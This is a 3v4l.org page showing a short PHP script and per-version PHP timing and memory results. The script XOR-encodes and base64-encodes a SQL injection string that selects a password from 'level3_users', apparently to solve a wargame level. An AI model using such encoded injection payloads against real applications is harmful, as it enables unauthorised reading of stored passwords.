3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4 passwd from level3_users where user='Admin' LIMIT 1")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0160.00318.56
8.3.50.0100.01021.98
8.3.40.0150.00018.89
8.3.30.0070.00720.23
8.3.20.0070.00020.31
8.3.10.0040.00422.14
8.3.00.0000.00822.40
8.2.180.0000.01518.16
8.2.170.0150.00022.96
8.2.160.0100.00322.12
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0080.00026.16
8.2.120.0080.00020.81
8.2.110.0090.00020.37
8.2.100.0060.00717.78
8.2.90.0030.00619.40
8.2.80.0040.00419.23
8.2.70.0050.00317.63
8.2.60.0050.00517.93
8.2.50.0040.00418.07
8.2.40.0000.00718.16
8.2.30.0000.00719.46
8.2.20.0000.00717.68
8.2.10.0040.00417.66
8.2.00.0030.00617.80
8.1.280.0070.01125.92
8.1.270.0070.00323.99
8.1.260.0000.00826.35
8.1.250.0000.00728.09
8.1.240.0090.00023.89
8.1.230.0070.00419.16
8.1.220.0000.00817.79
8.1.210.0040.00418.77
8.1.200.0030.00617.36
8.1.190.0050.00317.53
8.1.180.0000.00818.10
8.1.170.0060.00318.46
8.1.160.0060.00320.61
8.1.150.0070.00318.65
8.1.140.0000.00917.34
8.1.130.0000.00817.79
8.1.120.0050.00317.49
8.1.110.0000.00817.45
8.1.100.0040.00417.42
8.1.90.0030.00517.50
8.1.80.0080.00017.41
8.1.70.0030.00317.41
8.1.60.0080.00317.53
8.1.50.0040.00417.62
8.1.40.0040.00417.48
8.1.30.0000.00817.67
8.1.20.0050.00317.59
8.1.10.0000.00717.58
8.1.00.0000.00717.52
8.0.300.0000.00718.77
8.0.290.0020.00517.18
8.0.280.0030.00318.49
8.0.270.0030.00317.30
8.0.260.0070.00016.82
8.0.250.0000.00716.92
8.0.240.0030.00516.98
8.0.230.0070.00016.85
8.0.220.0040.00416.89
8.0.210.0040.00416.91
8.0.200.0040.00416.96
8.0.190.0030.00516.90
8.0.180.0070.00017.05
8.0.170.0040.00416.93
8.0.160.0040.00416.81
8.0.150.0000.00716.81
8.0.140.0030.00316.78
8.0.130.0000.00613.32
8.0.120.0000.00716.92
8.0.110.0000.00716.90
8.0.100.0070.00016.75
8.0.90.0030.00517.00
8.0.80.0120.00316.89
8.0.70.0040.00416.96
8.0.60.0000.00716.81
8.0.50.0040.00416.85
8.0.30.0050.01417.02
8.0.20.0090.00917.40
8.0.10.0020.00516.87
8.0.00.0110.01016.77
7.4.330.0060.00015.00
7.4.320.0040.00416.53
7.4.300.0030.00316.70
7.4.290.0050.00216.65
7.4.280.0070.00016.54
7.4.270.0030.00516.54
7.4.260.0070.00013.31
7.4.250.0000.00816.59
7.4.240.0040.00316.58
7.4.230.0070.00016.53
7.4.220.0100.00616.53
7.4.210.0080.00916.60
7.4.200.0040.00416.65
7.4.190.0040.00416.61
7.4.160.0060.00916.66
7.4.150.0090.00917.40
7.4.140.0120.00517.86
7.4.130.0060.01016.59
7.4.120.0040.01316.58
7.4.110.0070.01416.68
7.4.100.0130.00916.45
7.4.90.0060.01216.73
7.4.80.0100.00719.39
7.4.70.0130.00316.55
7.4.60.0100.01016.54
7.4.50.0040.00416.52
7.4.40.0030.01322.77
7.4.30.0150.00316.66
7.4.10.0080.01014.94
7.4.00.0060.01115.05
7.3.330.0000.00613.34
7.3.320.0000.00613.21
7.3.310.0030.00316.43
7.3.300.0000.00716.45
7.3.290.0090.00616.38
7.3.280.0070.01116.38
7.3.270.0070.01017.40
7.3.260.0100.00716.37
7.3.250.0100.00616.55
7.3.240.0120.01216.44
7.3.230.0090.00916.71
7.3.210.0150.00616.42
7.3.200.0140.00319.39
7.3.190.0090.01316.53
7.3.180.0120.00416.34
7.3.170.0060.00916.53
7.3.160.0130.00316.45
7.3.130.0080.00815.06
7.3.120.0060.01015.01
7.3.110.0090.00814.95
7.3.100.0070.00815.07
7.3.90.0010.01315.05
7.3.80.0060.00814.87
7.3.70.0070.00814.96
7.3.60.0050.00714.95
7.3.50.0040.01014.85
7.3.40.0030.01114.99
7.3.30.0050.01114.91
7.3.20.0070.00516.69
7.3.10.0080.00516.59
7.3.00.0070.00716.70
7.2.330.0090.01216.81
7.2.320.0100.01316.81
7.2.310.0090.01216.45
7.2.300.0080.00816.79
7.2.290.0060.00916.75
7.2.260.0100.00515.11
7.2.250.0060.01415.19
7.2.240.0070.00915.28
7.2.230.0020.01315.19
7.2.220.0050.00715.14
7.2.210.0050.00715.21
7.2.200.0050.00815.19
7.2.190.0040.01114.94
7.2.180.0050.00715.08
7.2.170.0040.01115.04
7.2.160.0060.00815.09
7.2.150.0030.00916.90
7.2.140.0040.00816.87
7.2.130.0070.00616.84
7.2.120.0040.00916.93
7.2.110.0100.00416.90
7.2.100.0050.00816.80
7.2.90.0040.01116.87
7.2.80.0070.00716.97
7.2.70.0070.00916.88
7.2.60.0070.00816.81
7.2.50.0040.00816.94
7.2.40.0050.00916.78
7.2.30.0080.00717.03
7.2.20.0030.01217.01
7.2.10.0030.01016.94
7.2.00.0070.00717.43
7.1.330.0020.01215.70
7.1.320.0090.00715.84
7.1.310.0040.01215.85
7.1.300.0030.01015.81
7.1.290.0080.00615.76
7.1.280.0090.00715.80
7.1.270.0040.00815.88
7.1.260.0050.00815.73
7.1.250.0060.00715.85
7.1.240.0070.00615.90
7.1.230.0020.01015.82
7.1.220.0020.00915.82
7.1.210.0060.00815.78
7.1.200.0060.00815.77
7.1.190.0070.00615.76
7.1.180.0050.00715.82
7.1.170.0050.00815.73
7.1.160.0050.00515.83
7.1.150.0080.00515.74
7.1.140.0090.00415.78
7.1.130.0060.00615.91
7.1.120.0050.00715.76
7.1.110.0020.01015.86
7.1.100.0070.00616.30
7.1.90.0070.00615.80
7.1.80.0040.01115.72
7.1.70.0040.00716.19
7.1.60.0080.00716.67
7.1.50.0080.00716.11
7.1.40.0080.00815.75
7.1.30.0050.00715.77
7.1.20.0070.00615.83
7.1.10.0060.00615.73
7.1.00.0040.01417.40
7.0.330.0060.00715.39
7.0.320.0050.00915.45
7.0.310.0040.00715.45
7.0.300.0040.01215.49
7.0.290.0060.00515.33
7.0.280.0050.00715.46
7.0.270.0030.00915.54
7.0.260.0040.00615.26
7.0.250.0030.00815.35
7.0.240.0040.01015.43
7.0.230.0060.00715.34
7.0.220.0040.00715.42
7.0.210.0060.00615.35
7.0.200.0030.00815.74
7.0.190.0060.00715.35
7.0.180.0060.00715.44
7.0.170.0070.00815.35
7.0.160.0060.00515.41
7.0.150.0030.00815.29
7.0.140.0070.01917.01
7.0.130.0030.01015.46
7.0.120.0070.00715.31
7.0.110.0060.00515.46
7.0.100.0070.01616.56
7.0.90.0080.01616.57
7.0.80.0030.02616.50
7.0.70.0040.01716.54
7.0.60.0080.02316.54
7.0.50.0060.02616.75
7.0.40.0050.02615.54
7.0.30.0080.01815.50
7.0.20.0050.02015.55
7.0.10.0060.02515.50
7.0.00.0050.02615.58
5.6.400.0080.00514.67
5.6.390.0020.01014.78
5.6.380.0070.00514.64
5.6.370.0040.00914.61
5.6.360.0020.00914.69
5.6.350.0070.00614.68
5.6.340.0090.00714.58
5.6.330.0060.00414.68
5.6.320.0060.00814.49
5.6.310.0030.00814.45
5.6.300.0040.01014.69
5.6.290.0020.01114.71
5.6.280.0080.02216.20
5.6.270.0070.00814.72
5.6.260.0090.00414.58
5.6.250.0070.02116.08
5.6.240.0060.01416.12
5.6.230.0080.02816.07
5.6.220.0060.02016.01
5.6.210.0060.02216.13
5.6.200.0050.02416.23
5.6.190.0080.02416.29
5.6.180.0070.02316.21
5.6.170.0050.02616.23
5.6.160.0080.02316.19
5.6.150.0060.02116.21
5.6.140.0050.02616.18
5.6.130.0080.02216.20
5.6.120.0090.02416.15
5.6.110.0050.02616.17
5.6.100.0060.02516.15
5.6.90.0090.02116.10
5.6.80.0060.02515.97
5.6.70.0080.01816.01
5.6.60.0060.02616.10
5.6.50.0040.02616.08
5.6.40.0060.01916.15
5.6.30.0050.02715.98
5.6.20.0070.02115.94
5.6.10.0070.01716.02
5.6.00.0080.01616.00
5.5.380.0080.02715.30
5.5.370.0060.01815.28
5.5.360.0070.02415.36
5.5.350.0110.02315.38
5.5.340.0030.01715.50
5.5.330.0080.02115.41
5.5.320.0030.02715.37
5.5.310.0090.02515.39
5.5.300.0070.02915.43
5.5.290.0070.02015.30
5.5.280.0060.01615.36
5.5.270.0060.02715.35
5.5.260.0070.02015.45
5.5.250.0060.02415.33
5.5.240.0050.02415.16
5.5.230.0050.01915.18
5.5.220.0050.01615.21
5.5.210.0060.02515.25
5.5.200.0030.02715.11
5.5.190.0050.02215.16
5.5.180.0050.01515.16
5.5.170.0020.00813.46
5.5.160.0080.02215.25
5.5.150.0060.02515.18
5.5.140.0070.01715.13
5.5.130.0070.01815.24
5.5.120.0040.02615.30
5.5.110.0050.02215.12
5.5.100.0020.02215.20
5.5.90.0080.01315.31
5.5.80.0050.01515.20
5.5.70.0040.01715.09
5.5.60.0030.01615.12
5.5.50.0060.01315.23
5.5.40.0030.01915.08
5.5.30.0050.01415.08
5.5.20.0030.01515.14
5.5.10.0050.01415.02
5.5.00.0040.01615.15
5.4.450.0060.02314.79
5.4.440.0040.01414.80
5.4.430.0050.02614.76
5.4.420.0030.01814.76
5.4.410.0050.02414.67
5.4.400.0060.02114.70
5.4.390.0050.02114.64
5.4.380.0030.01914.73
5.4.370.0020.02414.57
5.4.360.0040.02214.61
5.4.350.0060.02014.71
5.4.340.0060.01814.66
5.4.330.0010.00813.15
5.4.320.0060.02414.72
5.4.310.0030.01914.73
5.4.300.0050.01914.72
5.4.290.0030.01614.68
5.4.280.0040.02314.72
5.4.270.0070.01814.69
5.4.260.0070.02414.66
5.4.250.0060.01214.62
5.4.240.0020.01514.61
5.4.230.0040.01414.64
5.4.220.0030.01214.61
5.4.210.0030.01414.66
5.4.200.0050.01014.67
5.4.190.0050.01414.67
5.4.180.0010.01514.72
5.4.170.0070.01214.68
5.4.160.0040.01314.69
5.4.150.0050.01514.67
5.4.140.0030.01614.13
5.4.130.0050.01913.95
5.4.120.0060.01413.99
5.4.110.0070.01114.00
5.4.100.0050.01413.97
5.4.90.0040.01514.02
5.4.80.0020.01514.01
5.4.70.0020.01514.02
5.4.60.0080.00914.02
5.4.50.0060.01214.02
5.4.40.0030.01414.01
5.4.30.0040.01413.95
5.4.20.0020.01414.05
5.4.10.0040.01314.03
5.4.00.0070.01213.83
5.3.290.0050.01813.53
5.3.280.0040.01213.52
5.3.270.0020.01613.48
5.3.260.0010.01413.49
5.3.250.0060.01313.52
5.3.240.0030.02213.53
5.3.230.0030.01313.53
5.3.220.0030.01313.50
5.3.210.0040.01513.49
5.3.200.0030.02513.48
5.3.190.0040.01313.53
5.3.180.0030.01513.49
5.3.170.0060.01313.51
5.3.160.0070.01113.47
5.3.150.0030.01513.50
5.3.140.0070.01313.48
5.3.130.0020.01613.49
5.3.120.0030.01513.52
5.3.110.0050.01213.50
5.3.100.0050.01113.39
5.3.90.0030.01613.39
5.3.80.0060.01213.38
5.3.70.0050.01513.34
5.3.60.0060.01213.36
5.3.50.0030.01313.32
5.3.40.0010.01513.31
5.3.30.0020.01213.34
5.3.20.0040.01413.28
5.3.10.0040.01313.28
5.3.00.0040.01213.26
5.2.170.0020.02011.00
5.2.160.0050.01511.05
5.2.150.0030.01311.06
5.2.140.0020.01711.03
5.2.130.0050.01311.06
5.2.120.0030.01511.05
5.2.110.0000.01911.00
5.2.100.0000.01810.93
5.2.90.0030.01411.02
5.2.80.0020.01711.01
5.2.70.0070.01310.94
5.2.60.0020.01710.98
5.2.50.0030.01811.03
5.2.40.0000.02010.96
5.2.30.0010.01810.96
5.2.20.0000.02010.89
5.2.10.0030.01810.84
5.2.00.0070.01010.88
5.1.60.0040.01310.49
5.1.50.0050.01210.46
5.1.40.0030.02010.48
5.1.30.0040.01410.60
5.1.20.0050.03010.67
5.1.10.0040.03010.53
5.1.00.0000.02010.51
5.0.50.0020.0179.75
5.0.40.0020.0239.59
5.0.30.0090.0289.62
5.0.20.0030.0259.59
5.0.10.0020.0229.54
5.0.00.0050.0209.48
4.4.90.0020.0109.45
4.4.80.0000.0119.45
4.4.70.0030.0089.45
4.4.60.0000.0119.45
4.4.50.0040.0109.45
4.4.40.0020.0129.45
4.4.30.0010.0209.45
4.4.20.0000.0209.45
4.4.10.0020.0199.45
4.4.00.0030.0289.45
4.3.110.0040.0199.45
4.3.100.0020.0199.45
4.3.90.0050.0179.45
4.3.80.0020.0179.45
4.3.70.0040.0179.45
4.3.60.0030.0189.45
4.3.50.0050.0189.45
4.3.40.0020.0299.45
4.3.30.0030.0099.45
4.3.20.0000.0229.45
4.3.10.0000.0149.45
4.3.00.0000.0199.45

preferences:
46.43 ms | 401 KiB | 5 Q